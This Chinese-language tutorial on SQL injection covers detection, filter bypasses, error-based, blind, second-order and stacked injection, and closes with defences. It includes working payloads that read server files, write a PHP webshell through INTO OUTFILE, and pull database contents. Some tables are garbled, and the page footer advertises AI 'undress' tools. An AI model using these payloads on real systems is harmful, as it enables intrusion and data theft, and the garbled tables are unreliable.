搜尋
首頁資料庫SQL帶你了解SQL注入(詳細)

本篇文章為大家帶來了sql注入的相關知識,SQL注入是服務端未嚴格校驗客戶端發送的數據,而導致服務端SQL語句被惡意修改並成功執行的行為,希望對大家有幫助。

帶你了解SQL注入(詳細)

SQL是什麼?

結構化查詢語⾔(Structured Query Language ,SQL),是⼀種特殊的程式語言⾔,⽤於資料庫的標準資料查詢。 1986 年10 ⽉美國國家標準協會對SQL 進⾏了規範後,以此作為關係型資料庫系統的標準語⾔。 1987 年得到了國際標準組織的⽀持,成為了國際標準。

什麼是SQL注入

SQL注入是服務端未嚴格校驗客戶端發送的數據,而導致服務端SQL語句被惡意修改並成功執行的行為
帶你了解SQL注入(詳細)

漏洞原理

SQL 註⼊的攻擊⾏為可以描述為透過⽤戶可控參數中註⼊SQL 語法,破壞原有SQL 結構,達到編寫程式時意料之外結果的攻擊⾏為。其成因可以歸結為以下兩個原因疊加所造成的。

  • 程式設計師在處理程式和資料庫互動時,使⽤字串拼接的⽅式建構SQL 語句
  • 未對⽤戶可控參數進⾏⾜夠的過濾,便將參數內容拼接到SQL 語句中

漏洞原因

  • #使用者能夠控制輸入
  • 是對於輸入檢查不充分,導致SQL語句將使用者提交的非法資料當作語句的一部分來執行

為什麼會有SQL注入

  • #程式碼對帶入SQL語句的參數過濾不嚴格
  • 未啟用框架的安全性配置,例如:PHP的magic_quotes_gpc
  • 未使用框架安全性的查詢方法
  • 測試介面沒有刪除
  • 未啟用防火牆
  • 未使用其他的安全防護設備

註⼊點可能存在的位置

根據SQL 註⼊漏洞的原理,⽤戶「可控參數」中註⼊SQL與發,也就是說Web 應⽤獲取⽤戶輸⼊的地⽅,只要帶⼊數據庫查詢,都有存在SQL 注⼊的可能,這些地⽅通常包括:

  • GET 數據
  • POST 資料
  • Cookie 資料
  • HTTP 頭部(HTTP 頭部中的其他欄位)

#漏洞危害

  1. #資料庫資訊外洩、取得、修改敏感資料:資料庫中存放的使用者的隱私資訊(帳號、密碼)的外洩
  2. 繞過登入驗證:使用萬用密碼登入網站後台等
  3. 檔案系統操作:列目錄,讀取、寫入檔案等
  4. 網頁篡改:透過操作資料庫對特定網頁進行篡改,嵌入網馬鏈接,進行掛馬攻擊
  5. #註冊表操作:讀取、寫入、刪除註冊表等
  6. 執行系統命令:遠端執行命令
  7. #伺服器被遠端控制、種植木馬:駭客可以修改或控製作業系統

提交方法

提交方法有:get、post、cookie、request等
其中:request支援度較好,你把參數以get方式、post方式、cookie方式提交都是可以的

判斷注入點

會在疑似注⼊點的地⽅或者參數後⾯嘗試提交數據,從而進⾏判斷是否存在SQL 注⼊漏洞。

是否能夠回顯上⼀個或下⼀個頁面(判斷是否有回顯)聯合注入
測試資料 測試判斷 #攻擊想法
# #-1或1




############################################################################################## ###'###或###"#########是否顯示資料庫錯誤訊息;回顯的頁面是否不同(字元類型或數字型)######錯誤注入## ##########and 1=1 或and 1=2######回顯的頁面是否不同(判斷頁面是否有布林類型的狀態)######布林盲注############and sleep(5)######判斷頁面的回傳時間######延遲注入###########\ ######判斷轉義########################################## #############

注意:如果你對著一個網站測試的時候,出現404,或者頁面跳轉,表示網站有防護

#判斷字符型還是數字型

如下圖,一般來說,id之類的參數後面跟的是數字型(也有可能是字元型),別的參數後面跟的是字元型別
帶你了解SQL注入(詳細)

sql注入繞過

  1. 大小寫繞過
  2. 雙寫關鍵字繞過
  3. 特殊編碼繞過

如果有些字串確實被限制的很嚴格,我們可以嘗試一些編碼繞過。
如URLEncode編碼,ASCII、HEX、unicode編碼繞過:

  • or 1=1即or 1=1,
  • Test也可以為CHAR(101) CHAR (97) CHAR(115) CHAR(116)
  1. 空格過濾繞過
  2. 過濾函數繞過
  • sleep() ——> benchmark()
  • substr()、substring()、mid()可以互相替換
  • user() ——> @@ user() 、datadir ——> @@datadir
  • ord() ——> ascii() :這兩個函數在處理英文時效果一樣,但處理中文時效果不一樣
  • ascii ——> hex()、bin():替代之後再使用對應的進位轉string即可
  • group_concat() ——> concat_ws()
  1. 內嵌註解繞過/*!...*/

在MySQL裡,/**/是多行註釋,這個是SQL的標準,但MySQL擴張了解釋的功能,如果在開頭的的/*後頭加了感嘆號/*!50001sleep(3)*/,那麼此註解裡的語句將會被執行。

/*!50001 select * from test */;這裡的50001表示假如資料庫是5.00.01以上版本,該語句才會被執行,對於有些waf我們可以通過這種方式進行繞過。

取得網站路徑

路徑常見取得方法:

  1. #封包顯示

帶你了解SQL注入(詳細)


帶你了解SQL注入(詳細)遺留檔案

別用百度,用Google搜尋

inurl:phpinfo.php


漏洞封包錯誤、平台設定檔、爆破等

SQL 注入讀寫檔案

可以利用SQL 注入漏洞進行檔案讀寫。
利用的前提條件:帶你了解SQL注入(詳細)

1. 資料庫支援檔案讀寫這裡牽涉到1個變數,這個參數在高版本的mysql 資料庫中限制了檔案的匯入匯出操作。若要配置此參數,需要修改my.ini 設定文件,並重啟mysql 服務【其在Phpstudy中預設為NULL,不允許讀寫檔案】限制mysqld 不允許匯入匯出運算會限制mysqld 的導入導出操作在某個固定目錄下,子目錄有效
secure_file_priv
參數 意義
#secure_file_priv=NULL
#secure_file_priv='c:/a/'
#### ###secure_file_priv=######不對mysqld 的導入匯出操作做限制#############

修改配置文件,对读写不做限制,文件路径C:\phpStudy\MySQL\my.ini,该操作比较敏感,需要在mysql的配置文件中操作,在phpmyadmin网页中不能修改
帶你了解SQL注入(詳細)

帶你了解SQL注入(詳細)

2. 当前用户具有文件权限

  1. 获知当前用户和主机名
?id=-1'union select 1,current_user(),3 --+

帶你了解SQL注入(詳細)

  1. 查看有无权限
?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+

帶你了解SQL注入(詳細)

方法2:

select File_priv from mysql.user where user="root" and host="localhost";

帶你了解SQL注入(詳細)

3. 知道文件绝对路径

  1. 读取文件,使用 load_file

下面两种方法一样

?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 --+
?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+

帶你了解SQL注入(詳細)

  1. 写入文件,使用 into_outfile

这里需要注意,写16进制是直接写,写明文的话,需要用引号给包住

写phpinfo,没有报错就说明写入成功,可以直接访问写入的文件地址

# 1. 直接写
?id=-1' union select 1,'<?php  phpinfo();?>',3 into outfile 'c:\\phpstudy\\www\\hack.php'--+
# 2. 改写成16进制
?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+

帶你了解SQL注入(詳細)

帶你了解SQL注入(詳細)

写一句话木马

# 1. 直接写
?id=1' and 1=2 union select 1,'=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+

# 2. 改写成16进制
?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+

查询方式及报错盲注⭐

在进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入,提前了解或预知其SQL语句的大概写法也能更好的选择对应的注入语句。

更详细的介绍,请参见下一篇文章 《SQL注入的常见方式》

查询方式

重点理解:我们可以通过下面的查询方式和网站应用的关系、注入点产生地方、应用猜测到对方的SQL查询方式
查询方法举例说明

  1. select:查询数据在网站应用中进行数据显示查询操作

举例:select * from news where id=$id

  1. insert:插入数据在网站应用中进行用户注册添加等操作

举例:insert into news(id,url,text) values(2,'x','$t')

  1. delete:删除数据后台管理里面删除文章删除用户等操作

举例:delete from news where id=$id

  1. update更新数据会员或后台中心数据同步或缓存等操作

举例:update user set pwd='$p' where id=2 and username='admin'

  1. order by排序数据一般结合表名或列名进行数据排序操作

举例:select * from news order by $id
举例:select id,name,price from news order by $order

报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。
这个过程称之为盲注。我们可以知道盲注分为以下三类:

  1. 基于布尔的SQL盲注-逻辑判断(不回显)
    regexp,like,ascii,left,ord,mid

  2. 基于时间的SQ盲注-延时判断(不回显)
    if,sleep

  3. 基于报错的SQL盲注-(强制)报错回显
    floor,updatexml,extractvalue

报错模板:https://www.jianshu.com/p/bc35f8dd4f7c

报错注入函数

  1. floor()
  • floor(x),返回小于或等于x的最大整数。
  • payload:select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;
  • x表示concat(database(),rand(0)*2),rand(0)以0为随机种子产生0-1之间的随机数,*2产生0-2之间的随机数。
  • 报错原因:主键重复,必需:count()、rand()、group by
  • 分析链接:https://xz.aliyun.com/t/253#toc-2
  1. exp()
  • exp(x)返回e^x。
  • 当x的值足够大的时候就会导致函数的结果数据类型溢出,也就会因此报错
  • payload:id =1 and EXP(~(SELECT * from(select user())a))
  1. updatexml()

利用的就是mysql函数参数格式错误进行报错注入。

updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value);

  • 函数语法解析:
  • XML_document:是字符串String格式,为XML文档对象名称
  • Xpath_string:Xpath格式的字符串
  • new_value:string格式,替换查找到的符合条件的数据

适用版本是:5.1.5+

利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错 那么我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错

  1. extractvalue()

利用的原理是xpath格式不符报错注入。

函数语法:extractvalue(XML_document,XPath_string)
适用的版本:5.1.5+

1. 获取当前是数据库名称及使用mysql数据库的版本信息:
and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))

2. 获取当前注入点的用户权限信息及操作系统版本信息:
and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e))

3. 获取当前位置所用数据库的位置:
and extractvalue(1,concat(0x7e,@@datadir,0x7e))

4. 获取数据表信息:
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

5. 获取users数据表的列名信息:
and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))

6. 获取对应的列名的信息(username\password):
and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))

二次注入

帶你了解SQL注入(詳細)

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

原理

二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加\进行转义,但是\并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

实施步骤

  1. 插入恶意数据

第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容

  1. 引用恶意数据

帶你了解SQL注入(詳細)

举例

这里使用的是sql-libs靶场的第24关

  1. 首先看一下最开始的时候,靶机的数据库是什么样子的,这里以其中的用户dhakkan来演示

帶你了解SQL注入(詳細)

  1. 注册一个新用户

帶你了解SQL注入(詳細)

  1. 注册了一个新用户之后的数据库如下
    帶你了解SQL注入(詳細)

  2. 新用户登录,并重置密码

  3. 查看数据库,有意思的事情发生了,dhakkan的密码改变了,但是新用户的密码没有改变

帶你了解SQL注入(詳細)

  1. 在第24關的原始碼中,可以看到原因,如下圖

帶你了解SQL注入(詳細)

#堆疊查詢

#堆疊注入(Stacked injections),從名詞的意思就可以看到應該是一堆sql語句(多條)一起執行。而在真實的運用中也是這樣的,我們知道在mysql中,主要是命令列中,每一語句結尾加 ; 表示語句結束。這樣我們就想到了是不是可以多句一起使用。於是出現了堆疊注入(又稱堆疊查詢)
帶你了解SQL注入(詳細)

注意事項:
堆疊注入的使用條件十分有限,其可能受到API或資料庫引擎,又或者權限的限制只有當呼叫資料庫函數支援執行多條sql語句時才能夠使用,利用mysqli_multi_query()函數就支援多個sql語句同時執行,但實際情況中,如PHP為了防止sql注入機制,往往使用呼叫資料庫的函數是mysqli_ query()函數,其只能執行一條語句,分號後面的內容將不會被執行,所以可以說堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對網站造成十分大的威脅

DNSlog

DNSlog 就是儲存在DNS Server 上的域名信息,它記錄著用戶對域名www.baidu.com 等的訪問信息,類似日誌文件。更多操作請參考淺析DNSlog在滲透測試中的實戰技巧

腦圖

帶你了解SQL注入(詳細)

#常見資料庫,及注入相關⭐

MySQL、SQLServer、Oracle、PostgreSQL、Access五種資料庫應該是目前市面上最受歡迎的資料庫了。我們進行滲透測試,碰到最多的也是這幾種資料庫。本文就這幾種資料庫在註入時的相同點和不同的做一下統計。

註解符、資料庫連接埠

##--#多行註解/**/

#MySQL SQLServer Oracle PostgreSQL Access
#單行註解 #單行註解
#-- -- #--
/**/
######/**&*/#########無##### ########資料庫連接埠######3306######1433######1521######5432######屬於檔案型資料庫,所以不需要連接埠號碼#############

数据库文件后缀名

  • MySQL:数据文件:.myd 、索引文件:.MYI 、表定义文件:.frm
  • SQLServer:.mdf
  • Oracle:.dbf.ora
  • PostgreSQL:无后缀名
  • Access:Office 2007之前是 .mdb ,Office 2007及之后是.accdb

特有的数据库

  • MySQL: information_schema(Mysql5.0以上的版本)
  • SQLServer:sysobjects
  • Oracle:dual
  • PostgreSQL:
  • Access:msysobjects

查看当前用户或权限

  1. MySQL
查询当前用户
select user();
select substring_index(user(), '@', 1) ;
查询当前用户的权限
select * from mysql.user where user = substring_index(user(), '@', 1) ;

帶你了解SQL注入(詳細)
帶你了解SQL注入(詳細)

  1. SQLServer
判断是否是SA权限select is_srvrolemember('sysadmin')     判断是否是db_owner权限  
select is_member('db_owner')判断是否是public权限select is_srvrolemember('public')

帶你了解SQL注入(詳細)

  1. Oracle
查看当前用户select * from user_users;查看当前用户拥有的角色     
select * from session_roles;查看当前用户拥有的权限select * from session_privs;

帶你了解SQL注入(詳細)

  1. PostgreSQL
select user                       #查看用户select current_user               #查看当前用户

帶你了解SQL注入(詳細)
帶你了解SQL注入(詳細)

  1. ACCESS

Access数据库是文件类型数据库,没有用户和权限的概念

ASCII转换函数

  1. MySQL:select char(97)

帶你了解SQL注入(詳細)

  1. SQLServer:select char(97)
    帶你了解SQL注入(詳細)

  2. Oracle:select chr(97) from dual

帶你了解SQL注入(詳細)

  1. **PostgreSQL:select chr(97) **

帶你了解SQL注入(詳細)

  1. **Access:select chr(97) **

select chr(97)&chr(100)&chr(109)&chr(105)&chr(110)

不同数据库注入结果的区别⭐

  1. mssql

帶你了解SQL注入(詳細)

  1. MySQL

帶你了解SQL注入(詳細)

  1. oracle

帶你了解SQL注入(詳細)

Sql注入中连接字符串常用函数

在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。在sqli中,常见的字符串连接函数有concat()group_concat()concat_ws()
本篇详细讲解以上三个函数。同时此处用mysql进行说明,其他类型数据库请自行进行检测。

concat()函数

不使用字符串连接函数时:
帶你了解SQL注入(詳細)

但是这里存在的一个问题是,当使用union联合注入时,我们都知道,联合注入要求前后两个选择的列数要相同,这里id,username是两个列,当我们要一个列的时候,(当然不排除你先爆出id,再爆出username,分两次的做法)该怎么办?答案就是concat()

concat()语法及使用特点:CONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。可以有一个或多个参数。
示例如下:
帶你了解SQL注入(詳細)

帶你了解SQL注入(詳細)

concat_ws 函数

使用方法:CONCAT_WS(separator,str1,str2,...)

CONCAT_WS()代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。

注意:如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。
这里以逗号分隔符为例,演示一下
帶你了解SQL注入(詳細)

group_concat 函数

基本查询

mysql> select * from aa;
+------+------+
| id| name |
+------+------+
|1 | 10|
|1 | 20|
|1 | 20|
|2 | 20|
|3 | 200   |
|3 | 500   |
+------+------+
6 rows in set (0.00 sec)

以id分组,把name字段的值打印在一行,逗号分隔(默认)

mysql> select id,group_concat(name) from aa group by id;
+------+--------------------+
| id| group_concat(name) |
+------+--------------------+
|1 | 10,20,20|
|2 | 20 |
|3 | 200,500|
+------+--------------------+
3 rows in set (0.00 sec)

以id分组,把name字段的值打印在一行,分号分隔

mysql> select id,group_concat(name separator ';') from aa group by id;
+------+----------------------------------+
| id| group_concat(name separator ';') |
+------+----------------------------------+
|1 | 10;20;20 |
|2 | 20|
|3 | 200;500   |
+------+----------------------------------+
3 rows in set (0.00 sec)

以id分组,把去冗余的name字段的值打印在一行,
逗号分隔

mysql> select id,group_concat(distinct name) from aa group by id;
+------+-----------------------------+
| id| group_concat(distinct name) |
+------+-----------------------------+
|1 | 10,20|
|2 | 20   |
|3 | 200,500 |
+------+-----------------------------+
3 rows in set (0.00 sec)

以id分组,把name字段的值打印在一行,逗号分隔,以name排倒序

mysql> select id,group_concat(name order by name desc) from aa group by id;
+------+---------------------------------------+
| id| group_concat(name order by name desc) |
+------+---------------------------------------+
|1 | 20,20,10   |
|2 | 20|
|3 | 500,200|
+------+---------------------------------------+
3 rows in set (0.00 sec)

补充知识—数据库结构

数据库结构:数据库 —> 表名 —> 列名 —> 数据
演示如下:

  1. 查看MySQL数据库中,包含了哪些数据库

show database;
帶你了解SQL注入(詳細)

  1. 查看数据库中有哪些表
use dvwa;	# 选中dvwa数据库
show tables;	# 查看dvwa数据库中有哪些表

帶你了解SQL注入(詳細)

  1. 查询表中的内容
    1. 查看user表中的全部内容:select * from user;
    2. 以列的形式查看user表中的全部内容:select *from user\G;
    3. 查看表中的部分内容:select user,password from user;

帶你了解SQL注入(詳細)

帶你了解SQL注入(詳細)

补充知识—关于SQL的一些常识

注释

减减空格 "-- " "–%20" “–+”
# “#” "%23"




内联注释 /* 被注释掉的内容 */









数据库中,符号.代表下一级,如dvwa.user表示dvwa数据库下的user表

常用语句和函数

推荐阅读:SQL注入必备知识初级
1:mysql -uroot -proot登录数据库
2:show databases; 查看有哪些数据库
3:use informatin_schema; 使用某数据库
4:limit的用法

  • limit的使用格式是limit m,n
  • 其中m是指记录开始的位置,从0开始表示第一条记录
  • n是指提取n条记录

5:select 函数名; 查询某内容
函数名有以下:
帶你了解SQL注入(詳細)

防御措施

防御SQL注入的核心思想是对用户输入的数据进行严格的检查,并且对数据库的使用采用最小权限分配原则。目前SQL注入的防御手段有以下几种:

代码层

  1. 内置过滤系统(本质是黑名单,很常见但是不推荐)
  2. 采用参数化查询&预编译(推荐)

强迫使用参数化语句。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击
帶你了解SQL注入(詳細)

  1. 采用框架的安全写法

例如Mybatis中使用#可以防止SQL注入,$并不能防止SQL注入
thinkphp使用数组方式将自动使用框架自带的字段类型检测防止注入、PDO驱动参数绑定、预处理等

Thinkphp框架的安全写法

安全的替换写法
$data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用数组方式将自动使用框架自带的字段类型检测防止注入
$data=M('Member')->where(array('id'=>(int)$_GET['id']))->find();//类型约束
$data=M('Member')->where('id='.intval($_GET['id']))->find();//类型转换
$data=M('Member')->where(array('id'=>I('get.id','','intval')))->find();//$data=M('Member')- >where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驱动可以使用参数绑定
$data=M('Member')->where("id=%d",array($_GET['id']))->find();//预处理机制       

//不安全的写法举例
$_GET['id']=8;//希望得到的是正整数
$data=M()->query('SELECT * FROM `member` WHERE  id='.$_GET['id']);//执行的SQL语句
$_GET['id']='8  UNION SELECT * FROM `member`';;//隐患:构造畸形语句进行注入;

数据库加固

主要包括:

  1. 最小权限原则,禁止将任何高权限帐户(例如sa、dba、root等)用于应用程序数据库访问。更安全的方法是单独为应用创建有限访问帐户。
  2. 禁用敏感函数拒绝用户访问敏感的系统存储过程,如xp_dirtree、xp_cmdshell、into_outfile 等
  3. 网站与数据层的编码统一,建议全部使用UTF-8编码,避免因上下层编码不一致导致一些过滤模型被绕过,比如宽字节注入等。
  4. 限制用户所能够访问的数据库表

其他

例如,避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入;每个数据层编码统一,防止过滤模型被绕过等。使用WAF。

相关推荐:《mysql教程

以上是帶你了解SQL注入(詳細)的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:CSDN。如有侵權,請聯絡admin@php.cn刪除
Nginx基础安全知识:防范SQL注入攻击Nginx基础安全知识:防范SQL注入攻击Jun 10, 2023 pm 12:31 PM

Nginx是一个快速、高性能、可扩展的Web服务器,它的安全性是Web应用程序开发中不可忽略的问题。尤其是SQL注入攻击,它可以对Web应用程序造成巨大的破坏。在本篇文章中,我们将讨论如何使用Nginx来防范SQL注入攻击,以保护Web应用程序的安全。什么是SQL注入攻击?SQL注入攻击是一种利用Web应用程序漏洞的攻击方式。攻击者会在Web应用程序中注入恶

如何使用exp进行SQL报错注入如何使用exp进行SQL报错注入May 12, 2023 am 10:16 AM

0x01前言概述小编又在MySQL中发现了一个Double型数据溢出。当我们拿到MySQL里的函数时,小编比较感兴趣的是其中的数学函数,它们也应该包含一些数据类型来保存数值。所以小编就跑去测试看哪些函数会出现溢出错误。然后小编发现,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。mysql>selectexp(709);+-----------------------+|exp(709)|+-----------------------+|8.218407461554972

PHP编程技巧:如何防止SQL注入攻击PHP编程技巧:如何防止SQL注入攻击Aug 17, 2023 pm 01:49 PM

PHP编程技巧:如何防止SQL注入攻击在进行数据库操作时,安全是至关重要的。SQL注入攻击是一种常见的网络攻击,它利用了应用程序对用户输入的不正确处理,从而导致恶意的SQL代码被插入并执行。为了保护应用程序免受SQL注入攻击的影响,我们需要采取一些防范措施。使用参数化查询参数化查询是最基本也是最有效的防范SQL注入攻击的方法。它通过将用户输入的值与SQL查询

PHP SQL注入漏洞的检测和修复PHP SQL注入漏洞的检测和修复Aug 08, 2023 pm 02:04 PM

PHPSQL注入漏洞的检测和修复概述:SQL注入是指攻击者利用Web应用程序对输入进行恶意注入SQL代码的一种攻击方式。PHP作为一种广泛应用于Web开发的脚本语言,被广泛用于开发动态网站和应用程序。然而,由于PHP的灵活性和易用性,开发者常常忽略了安全性,导致了SQL注入漏洞的存在。本文将介绍如何检测和修复PHP中的SQL注入漏洞,并提供相关代码示例。检

Laravel开发注意事项:防止SQL注入的方法与技巧Laravel开发注意事项:防止SQL注入的方法与技巧Nov 22, 2023 pm 04:56 PM

Laravel开发注意事项:防止SQL注入的方法与技巧随着互联网的发展和计算机技术的不断进步,Web应用程序的开发也变得越来越普遍。在开发过程中,安全性一直是开发者不可忽视的重要问题。其中,防止SQL注入攻击是开发过程中需要特别关注的安全问题之一。本文将介绍几种Laravel开发中常用的方法和技巧,帮助开发者有效地防止SQL注入。使用参数绑定参数绑定是Lar

如何使用PHP防止SQL注入攻击如何使用PHP防止SQL注入攻击Jun 24, 2023 am 10:31 AM

在网络安全领域里,SQL注入攻击是一种常见的攻击方式。它利用恶意用户提交的恶意代码来改变应用程序的行为以执行不安全的操作。常见的SQL注入攻击包括查询操作、插入操作和删除操作。其中,查询操作是最常被攻击的一种,而防止SQL注入攻击的一个常用的方法是使用PHP。PHP是一种常用的服务器端脚本语言,它在web应用程序中的使用非常广泛。PHP可以与MySQL等关系

PHP表单过滤:SQL注入防范与过滤PHP表单过滤:SQL注入防范与过滤Aug 07, 2023 pm 03:49 PM

PHP表单过滤:SQL注入防范与过滤引言:随着互联网的快速发展,Web应用程序的开发变得越来越普遍。在Web开发中,表单是最常见的用户交互方式之一。然而,表单提交数据的处理过程中存在着安全风险。其中,最常见的风险之一就是SQL注入攻击。SQL注入攻击是一种利用Web应用程序对用户输入数据进行处理不当而导致攻击者能够执行非授权数据库查询的攻击方式。攻击者通过在

SQL注入漏洞在PHP中的应对策略SQL注入漏洞在PHP中的应对策略Aug 09, 2023 pm 03:09 PM

SQL注入是一种常见的网络攻击方式,它利用应用程序对输入数据的不完善处理,成功将恶意的SQL语句注入到数据库中。这种攻击方式特别常见于使用PHP语言开发的应用程序中,因为PHP对用户输入的处理通常相对较弱。本文将介绍一些应对SQL注入漏洞的策略,并提供PHP代码示例。使用预处理语句预处理语句是一种建议的防御SQL注入的方法。它使用绑定参数的方式,将输入数据与

See all articles

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
3 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
3 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
3 週前By尊渡假赌尊渡假赌尊渡假赌

熱工具

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

MantisBT

MantisBT

Mantis是一個易於部署的基於Web的缺陷追蹤工具,用於幫助產品缺陷追蹤。它需要PHP、MySQL和一個Web伺服器。請查看我們的演示和託管服務。

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

強大的PHP整合開發環境

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

DVWA

DVWA

Damn Vulnerable Web App (DVWA) 是一個PHP/MySQL的Web應用程序,非常容易受到攻擊。它的主要目標是成為安全專業人員在合法環境中測試自己的技能和工具的輔助工具,幫助Web開發人員更好地理解保護網路應用程式的過程,並幫助教師/學生在課堂環境中教授/學習Web應用程式安全性。 DVWA的目標是透過簡單直接的介面練習一些最常見的Web漏洞,難度各不相同。請注意,該軟體中